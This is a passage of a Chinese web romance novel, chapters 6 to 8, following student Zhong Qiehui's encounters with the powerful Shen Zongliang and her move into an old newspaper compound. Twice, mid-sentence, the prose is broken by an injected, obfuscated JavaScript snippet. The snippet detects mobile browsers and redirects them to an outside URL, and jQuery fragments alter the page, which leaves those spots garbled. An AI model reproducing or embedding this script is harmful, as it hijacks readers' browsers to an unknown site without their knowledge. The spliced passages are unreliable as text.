他敲了敲石桌面:“住归住,你大哥那里还是要去走动,知道了吗?别叫外姓人拿住你的短处。流言无稽不必理,但真要难听起来,也有你好受的。” “有数了。” 唐纳言又问起陈老的独孙,“涣之呢?他今年也应该读大三了吧。” 茶盖叮咣一响,陈云赓蛮不在乎地讲:“跑去德国交换了,一天到晚地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074186|149430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞎混。” 沈宗良笑:“您也太自谦,这已经够上进的了。” 陈老中午请了别的客人,没有留他们下来吃午饭,说下回补上。 且惠起身,山风吹过她的斜襟白莲长裙,告辞说:“那我就先走了。” 陈云赓颔首,让佣人送她出去:“好,有空再来玩。” 到了门口,且惠站在台阶上等了好一会儿,也不见有车来。 元秘书快步赶来说:“小惠,你再等一下,陈老的车接客人去了,还没回来。” 她刚要开口说没关系。 身后有人扬声道:“元伯,让她坐我的车走吧。” 且惠扭头,看见沈宗良从后面踱步而来。 那短短几秒钟里,她几乎是无意识地,把原本就修长笔直的脖颈,一再地挺到最直。 元伯并无异议,“沈总肯送一送小惠,那再好不过了。” 沈宗良的目光掠过她,绅士地询问一句:“钟小姐没有不方便吧?” 他想,毕竟她是有男朋友的人,也许会觉得有些不妥当。 且惠不知道这层意思,以反问作答:“沈总好意,怎么会不方便?” 再说,她的时间很紧张,还不知道这个点赶过去,来不来得及吃午饭。 两人还未跨过门槛,等候良久的黄秘书,已先一步开了车门,“沈总。” 沈宗良绅士地让钟且惠先上车,“请。” 她没推辞,从他面前侧身斜坐上去时,微笑点头致意:“谢谢。” 沈宗良日常出行,都是乘坐这辆双色金顶迈巴赫,低调又不失奢华。 且惠规矩坐着,双手交叠放在膝盖上,努力地挺直她的脊背,不敢有一丝松垮。 山路两旁,黄灿灿的榆树不停倒退,她借着看斑驳树影的间隙,余光瞄了一眼沈宗良。 他的神情仍旧淡漠着,还是那副令人捉摸不透的样子,手里捏着一份文件在看。 静谧的车厢内,她连呼气的幅度都一而再地放轻。 老实说,豪车她不是第一次坐,但这样紧张却是头一回。 那种紧张是很直观的,没有任何多余的点缀,也不掺杂一丝别的情绪。 是面对这样一个位高权重的男人,年纪还小也没什么阅历的女生,不自觉都会有的拘束。 下山路长,午间浮云蔽日,身后高耸的白塔虚化成一个圆点。 且惠坐久了车犯困,又不敢真的睡着,歇上三五秒,就掐着腿命自己清醒。 再换到下一程时,不知道发生了什么事,黄秘书踩了一个急刹,车身猛地顿住。 且惠的身体不受控地往前栽,快要撞上前排座椅时,被斜里伸出的一只手扶牢了。 黄秘书停稳车,心惊肉跳地解释:“刚才一只兔子蹿了出来,差点撞到它。” 他回头,去查点沈宗良的脸色,就看见他半抱着惊魂未定的小姑娘。 且惠苍白的半张脸,隐没在他的手臂之中,贴着皮肉。 没有一丝阻碍的,她感受到成年男人的那份坚实有力,一下就烧红了脸。 她于混乱中起身,草草拢了一下头发,低着头喏喏:“谢谢沈总。” 声音低到几乎听不清。如果不是车窗外的鸟鸣声适时停下的话。 沈宗良面色不改,突然落空的臂膀微微一僵,“没事,举手之劳。” 车子重新发动,且惠接连做了几个深呼吸后,才敢看他。 他淡声吩咐了句“慢点开”。 随后阖上眼,重新靠回了座位上休息,眉心稍蹙。 远处的麦田如波浪起伏,虚浮日光里,错落出她眉眼间的怔忡。 要隔开一段岁月,人们才好重新审视当时的自己,才能看清楚一些事实。 到了英国之后,她总是不断地追问,这孽海情天的错综一局,到底如何才能避开? 在无数个深夜里,且惠假设了很多种如果,却没有一种能反推成功。 她躲不开的。 紧张就是答案,通红的脸颊就是答案,不听话的心跳就是答案。 而潦倒的结局早就写在了他们见面的这一天。 后来且惠去大英图书馆,一封敦煌遗书《受十戒文》引得她反复细看,三界寺僧人法信告诫沙弥——“暂时因缘,百年之后。各随六道,不相系属”,但冲不破的清规戒律背后,却又写着:见君行坐处,一似火烧身。 也许,是且惠出于私心,误读了佛家诫文。 可她一下子就想到了沈宗良,想到她颊边散不开的红潮,想到这一天。 迈巴赫开出禁区卡口,从游魂状态回归的且惠,才发现车上好像少了人。 她扭头问:“纳言哥哥没有一起下来?” “他留在山上陪客人。” “噢,这样。” 眼见沈宗良眼眸低垂,一副散漫不耐的样子,且惠也不敢再多话了。 原本还想问一问披肩的事。 6. chapter 06 车子下了环城高速,驶入市区时,黄秘书提前问了一句,“钟小姐要去哪里?” 且惠说:“中芭少儿培训中心,崇文门那边。” 她朝前说完,缓慢收回视线时,碰上沈宗良探寻的目光。 不等对方开口,且惠主动跟他解释:“我在那边教几个小朋友跳舞,赚点钱。” 沈宗良面容沉峻,单手搭在交叠的膝上。 他像是起了几分谈兴,“你的专业是芭蕾?” 且惠摇头,“不,我读国际法。跳芭蕾是业余的,但教孩子够了。” 沈宗良若有所思的样子,“大三的话,功课应该很紧张了。” 言下之意,在这个时间节点上,还非得挤功夫出来兼职,是不是生活有困难? 钟且惠理解到位,坦然承认,“对的,是比前两年要忙的。但我生活费不够。” 没有想象中的那许多不自在,她大大方方地告诉眼前人,我不是表面看到的那么光鲜。 沈宗良点点头,没说话。 每个人在世上活着都有难处,再如何漂亮聪慧的人也一样。 说到这里就可以了,再问下去会伤了小姑娘的体面,那不符合他的作风。 且惠看时机差不多,主动问起:“沈总,我有件事,想问您一声。” “你说。” 她有些紧张的,手指抓着身下的皮垫:“冯家开party那晚,我们是不是在园子里见过?” 沈宗良微眯了下眼眸,“应该是,不太确定。” 没想到他这么说,且惠凝眸看他,“您的意思,是需要我自证吗?” “那倒也不必。”沈宗良险些被她认真的样子逗笑,“只是那晚的且惠小姐,看起来和今天很不同。” 最起码胆量大多了,敢对他颐指气使的,不似今日小心。 且惠低下头,面上掠过一点绯红,“不好意思,当时我喝得晕头晕脑,失态了。但我有条白色披肩,是不是落在您那儿了?” 当天庄新华被美人绊住脚,人家冲他招个手,立马不知道自己姓什么了,屁颠儿跑过去,根本腾不出一点功夫替她挡酒。害得她被围住死灌。 说实话,她都不记得自己遇到了什么人,说了什么话。 倘若不是幼圆提起来。 沈宗良掐了掐手心里的烟:“好像,是有这么回事儿。” 他只说好像,也不讲还与不还,该怎么还。单等着看她的态度。 且惠无意识地抿紧了一下唇。 再松开时,饱满的唇瓣迅速充血,娇柔嫣然。 沈宗良向她瞥去一眼,掐着烟的手心加重了几分力道,手背上青筋分明。 思来想去,她说:“那......沈总看哪天方便,我去您那里取?” 沈宗良实话实话:“我也估不准哪天有空。” 且惠愣了一下,和这样的大人物交流起来,真够吃力的。 他们这类人有个通病,话永远不会一口气讲完,总要留个三四分让人琢磨。 且惠自然地怜悯起前边开车的黄秘书,连捎去的那一眼里都满含着母性光辉。 她暗自咬紧了牙关,“您工作忙,理解。如果可以的话,我能问您要一个电话吗?” 像生怕他误会自己有旁的企图。她连忙解释:“不为别的,只是用来和您约时间。” “可以。” 好容易等来他一道首肯。 且惠没迟疑的,她拿出手机,点开拨号界面,“好了,您说。” 她两手捧着手机,一对如水晕墨的杏眼扑闪着,微微斜躬了上身,很虔诚的模样等着他开口。 沈宗良玩味地往下睨她一眼。 他一抬手,把烟衔在了唇角,另一只手抽过她的手机,把号码输进去。 他递还给且惠,“拿着。” 且惠仍旧双手去接,“谢谢沈总。” 车开到舞蹈中心门口,且惠欠身说了句谢谢,打开车门下车。 她往后退一格,站在台阶上目送沈宗良离开,礼貌挥挥手。 然后就再也懒得装了,嘴角的弧度垮下来,面无表情地去换舞服。 早知道这位这么难讲话,她宁肯多等一会儿,或是从山上走下来好了。 来上课的小女孩和她打招呼,“钟老师好。” 且惠弯下腰,摸摸她的小脸蛋,“你好呀。” 和她交班的是另一名女学生,正经舞蹈学院出来的苗子。 王老师和她说话:“小惠,今天身上的裙子不错啊,这料子很贵吧?” 且惠说:“是啊,我咬牙买的。” 王晓璇摸了摸就放下了,“还是你舍得。” 她抿唇笑了笑没说话。 其实也不是且惠舍得,也不是她多热衷这些华服,多么爱享用这些。 衣服不过是用来蔽体的工具,不需要追求多大牌多精致,走出去大方得体就足够了。 但在这个世界上,都是先敬罗衣后敬人的。她只是需要用这种方式,让那些讥讽她的人都闭嘴。当初报志愿,江城有很多好学校可以读,但且惠选择听了妈妈的话,回到这里来。既然回来,她就要明明白白地告诉世人,钟家虽然倒了灶,但她仍可以把自己养得很好,哪怕累一点。 课上到下午四点,到了家长们接人的时间。 班上有个小月牙来得晚,基本功不太扎实,跟不上其他孩子的进度。 且惠把她单独留下来,再额外加训她几个动作。 既领了这份工资,自然就要做到尽心尽责,当做自家小孩一样来教。 人都走光了,小月牙的父母还在外面等着,明白是老师的一片苦心,也没催。 且惠教完一组缓和的Adagio,定住,回过身去看小月牙,姿势仍有欠缺,但小家伙很努力地抬着腿,小脸憋得通红。 她收了势,走过去拨正了小月牙的手,“这样,再高一点。” 小月牙的肚子咕了一声。她说:“钟老师,我可不可以去吃饭了?” 那模样实在可爱,且惠失笑,“好,快去换衣服,和爸爸妈妈回家吧。” 小月牙得了赦一般,比跳舞时劲头足多了,飞奔向她的父母。 她爸爸接住她,一把抱在了手臂上,妈妈笑着给她擦汗,问小月牙累不累。 且惠的手搭在扶把上,看着眼前这一幕,一时间,眼尾酸了一酸。 每当这种天伦之乐在她面前上演的时候,她总是会想起钟清源。 只是她从没有在外上过辅导班。 钟清源怕不安全,都是让司机提前把钢琴和芭蕾老师接到家里来,等着且惠放学的。 当年教她钢琴的老师,如今已经是炙手可热的演奏家。且惠高二时,他开了一场小型音乐会,她拿出攒了很久的压岁钱,本想买张门票去看,一问才知道人家是不面向大众的,只邀请一些上流社会的成员。 那一年,江城极罕见地下了一场雪,且惠用书顶在脑门上,被他的工作人员打发出来,睫毛被融化的积雪沾湿。 哪怕她报上名字,说自己是他教过课的学生,也无济于事。 曾经被钟家雇佣的人,如今却冷冰冰地将她拒之门外,世界就是这么的讽刺。 而那场大雪,也永远地留在了她的脑子里。 她在淋浴间迅速冲个澡,换上自己的衣服,拿了包出门。 且惠换了三站地铁,走了百来米长的路到酒店门口,眼看庄新华搂着个姑娘进去了。 看起来庄公子有风月事要办,她待在里面未免碍手碍脚,也太不识趣。 她定了定,飞快地侧身往墙角一站,没让他看见。 且惠转身走了,在附近的胡同里,找了一家咖啡店坐下,拿着菜单选了半天,点了杯常喝的美式。 她在靠窗的位置落座,戴上蓝牙耳机,隔开店内零散的说话声。 且惠从包里拿出书来刷题,法考复习得累了,就换了一套雅思卷子来做。 太阳偏了西,落到了山的那一头。 等到且惠觉得饿,抬起头,天上挂着一撇月影。 她从包里拿出个黑麦面包,就着杯中最后一点咖啡吃掉。 正吃着,董玉书的电话打进来。 她使劲儿咽下去,囫囵叫了一句姆妈,问怎么了。 董玉书听见她的声音就笑,“在吃饭啊小囡?吃什么东西啦。” 且惠愣了一下,“还不就路上随便吃点,我刚下课。” “今天去看了陈老没有?”董玉书问。 且惠拣好听的说:“去了。陈爷爷夸你,讲你是天下第一贤惠人。” 意料之外的,董玉书立马嗤道:“贤惠能值多少钱?嫁对了人,你的贤惠才是锦上添花,否则也是吃一世的苦头,不顶用的。” 且惠没说话。 每当说起这些,她总是沉默。 她不知道怎么安慰失意的母亲,就只能沉默。 董玉书又来警醒她,“你在学校好好念书,不要理 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由于钟清源的早逝,二人相依为命多年,又使得这一关系更为典型。 董玉书在失败婚姻中被阉割的生命力,完完全全的,由独生女儿且惠一个人承接下来。 从小到大,她都在控制着女儿的一切,按部就班地遵循她的意思。 而且惠所做的,也只能是不断达成母亲的目标,企图博得她的称赞。 高考结束后,还不等征询且惠的意见,董玉书就替她规划好,一律全报京市的大学。 她有她的道理。早些年钟家在京城,也有一些如今身在高位的熟人。 只不过是,不到万不得已的地步,不会去动用这些关系。 毕竟人情再难还,对于讨债的来说,也仅有一次机会。 当初走得太狼狈,董玉书也在等这样一个机会。 一个靠着功成名就的女儿,再次风光回到京市的机会。 且惠在她妈妈倒苦水前,先表了个态,“好,都听姆妈的。” 董玉书对她这个态度感到很满意。 挂电话前,又叮嘱她说:“夜里小心盖凉被,吹空调不要冷到,你从小身体就不好。” 她都一一应了,等听见嘟声传过来,才把手机扔在了桌上。 仿佛脱手一颗立马就会引爆的定时炸弹。 且惠精疲力尽地往后一靠,一只手遮着头顶的灯光,紧盖了好长一会儿才松开。 等坐正了,她猛摇了两下头,又继续看书。 且惠在咖啡厅里待到打烊。 走过胡同口时,风嗖嗖地灌进来,把裙子一瞬间吹得很鼓,令她整个人看起来,像一支晚开的睡莲。 到了酒店,她先问前台服务员,庄新华走了没有。 前台经理告诉她,庄先生是九点出门的,套房内也已经打扫过了。 且惠点点头,说麻烦了。 这些小节倒是无所谓,庄新华的主卧且惠也从不进的,她都住庭院内的侧居。 她给冯幼圆发微信:「我明天就搬去你外公报社的房子里,可以吗?」 且惠刚进房间,就收到回复:「庄新华说,你趁早搬去!」 他们俩这会儿应该是在同一场酒局上。 看来庄公子对此也感到麻烦透了。 谈个恋爱都不踏实,明明是带人回自己的地方,还得掐着时间就走。 且惠觉得不好意思,她回:「等收拾好了,我做顿饭给你赔罪,好吧?」 庄新华往嘴角怼上一支烟,一边打字:「庄儿说,你只要不爱上他,怎么都行。」 且惠朝天翻个白眼:「早点睡吧,梦里什么都有。」 她收起手机,进了浴室洗澡,没再和他瞎贫。 飘着交响乐的大厅内,歌舞升平里,庄新华的哥们儿魏晋丰端着酒,凑过一个脑袋来。 魏晋丰瞄了一眼聊天记录,忍不住发问:“我说,兄弟。有个问题我憋很久了。” “有屁放,少事事儿的,烦。” 魏晋丰扯了下嘴角,“你对这个钟且惠,是不是有点好过头了?要是想追她还说的过去,可这么多年了,又不见你下手。” 他才说完,身边就有人指了指庄新华,猜测道:“可千万别告诉大家伙儿,她救过你的命。” 庄新华把烟从唇边拿下来,“算你小子说对了,要没她的话,我真活不到现在。” 7. chapter 07 众人都围了过来,听庄新华讲这段生死交情。 他点上烟,先吸了两口,追忆往昔的腔调拿足了,再缓缓说:“就我们八岁那年,我在医院等郝大院长下班,等得我闲出花儿来了,追着一只画眉跑,没留神掉湖里头去了。也是我倒霉,正碰上湖边的栓栏杆的链子坏了。刚开春的天儿啊,冰都化在湖水里,把我冻够呛。” 魏晋丰往下编排,“这时候咱钟小姐来了,上演了一出美救英雄。” “人自己当时还住院呢,穿着病号服,二话没说就往湖里纵啊。且惠就这么游过来拽我,边拽边喊人,喉咙都要叫破了。”庄新华把手架到烟灰缸边,抖了两三下,时隔多年还是一脸动容的样子,“后来是俩保安把我们捞出来的。小时候且惠个子高,她在底下托着我,比我冻得还厉害,生给烧出肺炎来了,一个多月没上学。” 有人情不自禁地唷了一下,“那真是天大的恩德。您后来就没表示点什么?” 大厅内一时静下来,冯幼圆在后头插了句嘴,“他表示了,每天都去病房里,不是压着且惠的点滴管,就是打翻她床头的杯子,弄得人家一身水。” 大伙儿一齐笑了。庄新华抬着烟转过头,“嘿,怎么哪儿都显着你了?” 冯幼圆瞪了他一眼,“以为我稀得说你呢,不是你提且惠的吗?” 庄新华拿烟指了一圈他的铁哥们儿,“我这不是正表示着呢嘛?还被你们怀疑我的动机!” “好好好,不说了。打今儿起,且惠也是我恩人。” 魏晋丰深深看了他一眼,“那这么说,我去追钟且惠好了,她那么漂亮。” “你敢!”庄新华急得瞪眼,“你敢碰她一下试试!” “看吧看吧,还说呢,活打嘴了你。” “少管,总之你别去惹她。” 今日是沈棠因相请,就在自家的温泉山庄里,是还那夜冯家的东道。 唐纳言来得晚,是来接他妹妹庄齐的。 服务生将他引进去,说唐小姐正在和沈小姐说话,请他稍等。 眼看他正经当成差事要去叫。 唐纳言拦了拦,“不用。让她玩尽兴点,我等一等就是了。” “那你大胆等到半夜去,她们闹起来哪里还会记得钟点?” 身后四方的水亭里传来一道男声。 疏朗的月光下,唐纳言站在霉绿斑驳的台阶上,笑着回头,“宗良,你也在。” 沈宗良抬手倒了一杯茶,“怕棠因把她叔公的庄子掀了,来看看。” 这里是沈家的私产,山头上单辟出来的一方风水圣地,景致也是独一无二的。 完工那日,还请动了大成寺的元通住持,领了门下弟子亲来诵经祈福。 虽然挂了个山庄的名头,却从不对外营业,是沈家招待客人的地方。 唐纳言坐下说:“刚巧方才吃东西吃絮了,我们也喝杯沈总的好茶。” 沈宗良笑着指了下他:“从小到大你就这样,但凡庄齐晚上出门,你就要来接。将来怎么办?她总要长大,也总要出唐家大门的,依我说,该经受的历练也得经受。倘或哪一天,没了你在身边撑伞,她要淋雨的。” “将来的事,将来再说吧,”唐纳言闷着眉头喝了口茶,“谁晓得还有没有将来?” 就连能不能打破早定下的兄妹名分,都还是个未知数。他哪敢想什么将来。 唐纳言喝完,又来说他:“不用急着笑我,说不准你沈总哪一天啊,也一样碰上个讨债鬼,把你弄得六神无主,你才知道自己姓什么呢。” 沈宗良听完后,端着茶斩钉截铁地摇头,“绝无这种可能。” “欸,话还是不要说得太早。”唐纳言摸了摸下巴,胡乱说起个人来,“今天不就破了例,把人姑娘给送下山了吗?你那辆车买了这么久,除了迎送要员之外,还是第一次坐女孩子吧?” 撂了青瓷杯,沈宗良没好气地回:“毒日头底下,这么大老远的山路,你忍心看人走下山?” 唐纳言的眼睛斜着他,“从六亲不认的资本主义国家回来,你倒成个圣人了。” 这下沈宗良被噎得不轻。 他拎起砂壶,“别老拿人打镲了,她有男朋友的,被人听去了不好。” “谁啊?”唐纳言莫名其妙,“我一直在国内,竟然不知道。” “庄新华。” “这么快探听清楚了?那你对她有男朋友这件事,是个什么看法?” 沈宗良轻嗤了一声,“小孩子处个朋友太正常了,能有什么看法?” 唐纳言笑得更怪,“那我怎么听说,沈总还把私人号码给了她,等着她约你吗?还是想看看,世上究竟有没有你沈总挖不动的墙角。” 闻言,沈宗良微凉的眼风扫了身后的黄柏文一眼。 黄秘书立刻低头,眼观鼻鼻观心,不敢作声。 唐纳言笑,“别怪他,他也是觉得这事儿太稀奇,又担心且惠的来历,多问了我一句。我说你放心,你家沈老板火眼金睛,不会看错人的。” 黄柏文是沈宗良亲自选的秘书,从一百多个藤校博士里挑出来,又放在身边培养了许久。 此人能力没得说,也忠心耿耿,就是有时太认真仔细,一点细微小事都不放过。 沈宗良说开原因:“那天在冯家,我捡了她的披肩,又浑丢在西平巷了。” “合着您还给带回宅子里了?”唐纳言笑问。 沈宗良摆手,“一个意外而已。说起来话太长,别提。” 唐纳言瞄他一眼,“看你的反应,这个意外还不赖。那么,这唯一不妙的地方,是人家名花有主?” “少胡说了。” 几杯茶下肚,唐纳言换了个话题,“什么时候搬去报社大院?” “就这两天吧。”沈宗良托着喝残的茶盏,抬头望了眼天边新月问:“这个钟且惠,到底怎么个来历?” 看她举止言谈都不俗,又能和陈老说得上话。 可口口声声,却说自己连生活费也没有。 唐纳言的手指敲着台面:“且惠嘛,打小儿就挺讨巧一姑娘。她爷爷你也知道的,就是陈老的秘书啊,可惜死在了任上。钟清源呢,十年前风光的不得了,后来掺和进冷家那档子事儿里,一夜之间倒了台。说起来,冷伯父曾与你大哥交好,你应该很清楚啊。” 沈宗良点了下头。 且惠爷爷的名字,他也是听过的,当年他父亲沈忠常刚调任京中,和陈老并驾齐驱,每逢有急件要交付老爷子,都要先过钟秘书的目,用词也非常客气,“一切全托你斟办”。 他没再说话,何况又能说什么,无非世事无常,琉璃易碎。 而大厦忽倾,是每一个像他们这样的人家,都不愿面对的厄运。 // 隔天,且惠老里老早就起了床。 她换下睡衣,装好放进行李箱里,又麻利地收了收桌上的课本。 等忙得差不多,冯夫人派的车子也到了,是常见到的司机黎叔。 黎叔说:“圆圆啊,昨天玩到三点才回家,肯定是起不来了,夫人让我来送你过去。她说了,这房子空置多年,你住过去也好,还能添点人气儿。” 且惠感激地点头,“今天要辛苦你了,黎叔。” 昨天睡觉前,她翻到了幼圆的朋友圈,几只精美的香槟杯碰在一起,背后是冒着热气的汤泉。 这个社会的阶层早已经固化,就连社交生活也是分等级的,大致呈金字塔型。 大家各自在不同的通道里往返来回,碰不上面。 一小撮人身处顶层,还有大部分在中间挤挤搡搡,而绝大多数都游走在最底层。 对且惠来说,身处底层不是最可怕的,只要人们对此浑然未觉。 可怕的是像她这样,十岁之前都待在金字塔尖,过惯了大把撒钞票的日子,一夜之间坠落到了谷底。 要是一直待着也就罢了,十年八年的,也断了念想。 偏她偶尔又能搭梯子去到山顶,却也要在半夜换上灰扑扑的围裙,重新坐到锅炉边捡豌豆。这样不上不下,或者说这样上上下下的,最不好受。 但那是幼圆的好意,且惠拒绝不了,她不忍伤了她的心,更不愿意她从此多心。 她好像天生就不大会拒绝人。尤其是亲近的人。 黎叔把她的行李提上车,“丫头,你就这么一点东西啊?” “是的呀,身边就带了这一点,”且惠坐上去,“省得搬来搬去的麻烦。” 报社大院在宣武门那边,从酒店开车过去起码是一个半小时,足够且惠在车上做完三套雅思听力题目的。 小时候对距离没什么概念,加上有车子接送,且惠并不觉得京市有多大。 在江城生活了九年,她再回来,经常被天远地远的路程吓住。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074188|149430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京市,一个小时之内能到的地方,那还算是近的呢。 到的时候已近中午,火辣的日头晒得且惠眼晕,她打着伞下了车。 黎叔还在后头交代保安,说老社长的那座小院儿,以后就由钟小姐住着了,麻烦多关照。 保安接了他的烟,笑得脸上的褶子都堆起来,说没问题。 里头难进车,黎叔帮着且惠把行李箱搬到门口。 这里墙矮屋阔,两层高,是当年很流行的苏式建筑,经年的松影草影连成了片,院内此起彼伏的绿荫,烈日晒在半旧红墙的爬山虎上,热意瞬间被驱散了大半。 石阶上生出浅淡的苔纹痕,且惠站上去,低头看了很久。 再仰起脖子时,她问:“黎叔,楼上以前住着谁啊?” 黎叔想了想,“好像是老主编姚梦吧,我看姚家的亲戚来过。” 且惠怪道:“主编和社长一栋楼啊,厉害的。” 黎叔笑她不知道里面的门道。 他说:“厉害的不是她,是她丈夫。不过她也有点手腕子的,年轻时,王社长见面也要让她三分。” “她丈夫谁啊?” “沈忠常。” 沉闷又漫长的暑热天里,且惠扇风的手背顿了一下,居然真是沈宗良的父亲。 昨天在陈老那里,听沈宗良说要搬来报社老楼的时候,她心里就划过一个疑影。 黎叔开了门,又把钥匙交到她手心,“怎么傻站着不进去啊?” 且惠自说自话地答:“没有,我就是觉得,这有点太巧了。” 巧得像被人精心设计过。 “有什么巧的?”黎叔没懂她话里的前因后果,笑了笑说:“无巧不成书嘛。” 且惠抿着唇没说话。 太扯了,她和沈宗良能成什么书? 天悬地隔的家世摆在那,就算唱戏唱到后花园里,也私定不了终身。 这么一想,她心里又安定多了。 既然这样还有什么可怕的?管他姓沈的来不来住好了。 黎叔在屋子里转了一圈,见这里家具家电都齐全,才放心回去交差。 且惠送他到门口,“慢走啊黎叔。” “好,你回去吧。”黎叔挥了挥手,“外面热,快点进去。” 他在家时,也是个顶严厉的父亲,心里疼孩子,但面上嘴上总是绷着。 可对着且惠不同,一些关怀的话很自然地就能说出来。 他想,也许是这闺女的长相和性子都太柔。 见到她的人,听她说两句软糯的闲话,都会不自觉地心生喜欢,想要对她发善心。 且惠下午要去教跳舞,连行李也来不及收拾,潦草地解决了顿午饭,就去搭地铁。 因为刚到生地方,她还不大熟悉路线,差点就要迟到。 赶在上课铃响前十秒,且惠换好舞服进了教室,拍了拍掌:“我们上课啰。” 钟老师笑容甜美,温柔的调子里带着微微气促,鬓边浮了一层薄汗。 女孩子们整齐站好了,听她分派:“昨天我们学了什么呀?” 底下稚气的童声回:“Adagio组合.” 按顺序,且惠先带着复习一遍:“来,单手扶把站好了。” 她站在前面示范,口中一边念着:“下屈,脚先动,腹部收紧。” 两堂课上下来,小丫头们个个累得够呛,由着来接人的父母换鞋。 小月牙实在坚持不下去,问妈妈:“我不想学了,下周能不能不来呀?” 蹲着的妈妈说不行:“交了一学期的学费呢,还不便宜。” “可我真的学不动了呀妈妈。” 妈妈指了下且惠:“你长大以后,想不想像钟老师一样漂亮,一样有气质。” 小月牙盯着喝水的钟老师看,咬牙点头:“想。” “那你就得好好往下学,因为呀,老师也是这么过来的。” 送走最后一个学生,且惠也没多待,家里还乌七八糟的,虽说也没什么可整理的,但总归要清爽一点。 她好像每秒钟、每分钟,每一步路都匆忙且穷困,要停一停几乎是不可能的事。 赶路归赶路,但妈妈口中的前景和目的地又在哪里?且惠也不知道。 她只晓得往前走。 一直走啊走,也许再走得快一点,走得再远一点,就能把青灰霉斑的日子,丢弃在身后。 8. chapter 08 开学后日子变得更加忙碌。 唯一让且惠觉得便利的,是报社大院离学校更近了,路上节省出二十分钟。 且惠每天起很早,她总是第一个到教室,坐最前面一排听讲。 几乎每一门专业课的老师都认得她。 一头乌黑长发披在肩头,细白柔婉的面孔,两只水灵灵的眼睛会说话,永远在认真地写笔记。 周五下午,下课后看时间还早,且惠去了三教自习。 等天黑透了,教室里亮起灯,她才转了转僵硬的脖子,收拾好课本,准备去食堂吃晚饭。 起身时,且惠被眼前忽然冒出的一捧红玫瑰吓到。 再抬头,眼前一个身材高大的男生盯着她,“钟且惠,你......你好。” 独来独往惯了,太久没见过这种场面。 且惠迅速反应了一下,这一出是叫个......当众表白? 但她好像不认识这个人。且惠抱着书,单手指了下自己,“你找我吗?” “对,那我就直说了啊。”男生有些害羞地挠头,“其实我喜欢你很久了,请问,你能当我女朋友吗?” 很配合气氛的,周围还没走的同学全都看了过来,人群中响起几声嘹亮浮夸的口哨。 “她不能!” 门口一道冰冷的拒绝,让所有的人都回过头。 庄新华穿了件松垮的衬衫,领口的logo像价签一样明明白白,扶着门站得吊儿郎当的。 他摘了墨镜,冲且惠招了下手:“走啊宝贝,去吃饭。” 那男生问:“你已经有男朋友了吗?” 且惠温柔笑着,略带抱歉地耸了耸肩,一句多余的都没解释,穿过人潮走开。 旁边同专业的女生说:“人家是大小姐,寝室一天也没住过,就你还想追她啊?” 有人反驳,“什么大小姐啊?你见过周末做兼职的大小姐吗?她早就不是了。” 立马又听见一句,“但人家傍了个子弟男友呀,你酸也没用。” 且惠被庄新华揽着肩膀出去,把这些是非议论隔绝在门后。 还没走出教学楼,她特别不舒服地拱了两下肩,和庄新华脱了截。 她板起面孔说:“你下次能不能别叫我宝贝?当着那么多人呢。” 庄新华感到委屈,“会不会说话啊钟且惠?我舍身取义替你解围,你倒挑上理了!” “我还怕我们家晓乐误会呢,真是的!” 不给且惠开口的机会,他扭过身子,用手愤然掸了下肩膀。 昏黄的路灯下,冯幼圆的下巴点在车窗上。 她看着他俩像小时候一样,互相都十分瞧不上对方的,一边走一边斗嘴。 谁都没有在时光里褪色、枯萎,连忽逢巨变的且惠也没有。 幼圆忍不住弯了下唇角。 她听见且惠奇怪地问:“这个晓乐又是谁?” “就是咱们庄公子新交的女朋友啊。”幼圆说。 且惠坐上车,把书放在后座上,她问:“那两个为他吵架的呢?” 前阵子鸡声鹅斗的,两个人差点把庄新华抬到天上去,一个个的都在争他。 庄新华关了车门,系上安全带,冲后面解释道:“那俩丫头太闹腾了,选谁都没有宁日,干脆一个都不选。” 听完,且惠默默地做了个想呕的动作。 副驾上伸来一只白玉手,掐住他一把肉,“还选上了,真把自己当皇帝了是吧,你脸呢?” “哎唷!”庄新华痛的嗷嗷大叫,“快点给我松开!” 且惠扶着座椅,笑得嘴角都酸了,“咱晚上吃什么呀?” 幼圆收回手,抽出张纸巾擦了擦,说:“魏晋丰新开一京府菜,就在他们家的老宅子里,要不咱今天去捧捧场?” 且惠咦了一声,“魏家的园子不是在申请重点保护文物吗?还能拿出来营业?” 幼圆解释道:“是有这么回事儿,但这餐厅又不对外开放,路人从那边过,连门都不知道朝哪边开。” “去不了!”庄新华把车开出校门,“今天晋丰那里搞接待,场子都封了,一整条路傍晚都戒严。” 幼圆低头翻着手机,随口问:“什么人这么大排场?” 庄新华说:“不清楚。好像是上头的安排,要不你去问问沈宗良,他今晚奉命陪客。” 她咂了咂嘴,“我有几个胆子去问他呀,说了不该说的话,连棠因都要挨他的训呢。” 且惠提议,“要不去我那儿?早上邻居送了新鲜羊肉,我们吃铜锅涮肉怎么样?” 庄新华笑着回头:“好啊,你搬家以后我还没去过,正好去看看。” 幼圆的关注点和别人不一样。她问:“哪个邻居?” 她小时候在家属院里住过很久,看着她长大的老一辈,如今身体还康健的已经不多了。 “就是进门第三栋的袁奶奶。” 幼圆有印象,她笑,“是那位老太太,她可不常给人好脸色的。从前我外公的猫踩了她家花儿,人可不管什么领导不领导的,照骂不误。” 想起第一次见袁奶奶的情形,她那老花镜悬在鼻梁上,花白的头发悉数抿在脑后,用一种严苛的目光盯着她,问她哪儿来的。立刻让她想到高中的教导主任。 且惠心有余悸地点头,“确实,看着就是个厉害角色。” 